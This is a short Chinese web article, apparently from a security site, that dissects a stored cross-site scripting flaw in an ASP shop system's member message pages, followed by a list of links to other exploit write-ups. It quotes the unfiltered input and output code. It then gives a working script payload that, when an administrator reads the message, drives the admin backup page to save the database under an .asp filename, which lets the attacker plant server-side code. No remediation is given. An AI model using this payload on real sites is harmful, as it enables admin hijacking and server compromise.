|
跨站
问题发生在会员留言那里:mymsg_hand1.asp
| 以下是引用片段: sql="select * from sms" set rs=server.createobject("adodb.recordset") rs.open sql,conn,1,3 rs.addnew rs("name")="admin" neirong=request.form("neirong") ///入库的时候没有过滤 neirong=replace(neirong,"=======","<font color=darkgray>======") rs("neirong")=neirong rs("riqi")=now() rs("fname")=request.cookies("cnhww")("username") rs.update rs.close set rs=nothing response.write "<script language='javascript'>" response.write "alert('操作成功,已向管理员发送一条站内消息!');" response.write "location.href='user.asp?action=famess';" response.write "</script>" response.end conn.close set conn=nothing |
我们再看出库的时候有没有过滤呢?
Hand1.asp:
| 以下是引用片段: set rs=Server.CreateObject("ADODB.recordset") sql="select * from sms where (name='管理员' or name='admin') and zuti='0' order by riqi desc" rs.open sql,conn,1,3 if rs.eof and rs.bof then response.write "<tr><td>收件箱中没有消息。</td></tr>" else ......中间省略............ do while not rs.eof and pages>0 neirong=rs("neirong") riqi=rs("riqi") isnew=rs("isnew") fname=rs("fname") id=rs("id") if pages<10 then response.write "<tr><td height=15></td></tr>" %> ......中间省略............ <hr color=#e7e7e7><BR> <%=replace(neirong,vbCRLF,"<BR>")%><br> </td></tr> |
| 以下是引用片段: <script>var op = window.open('backdata.asp');setTimeout("back()",2000);function back() {var form=op.document.forms[0];form.DBpath.value="../bbs/data/#wrtxcnshop.asp";form.bkDBname.value="test.mdb";form.submit();</script> |

| 新云CMS Online.asp页面过滤不严 | 02-26 |
| 对网软网上购物系统的漏洞分析 | 01-09 |
| 测试SQL防注入脚本 | 12-21 |
| Google Xss又出跨站新漏洞 | 11-06 |
| 一次简单的html injection导致的 | 11-06 |
| 风讯、科讯漏洞利用 | 11-01 |
| Adobe pdf reader URI利用方式浅 | 10-23 |
| 超星阅览器的最新0DAY | 10-19 |
| 运用SQL Injection做数据库渗透的 | 09-22 |
| sa-blog 0day | 09-22 |
| HTML注入的一些简单想法 | 09-10 |
| 网站登陆接口的攻与防 | 09-04 |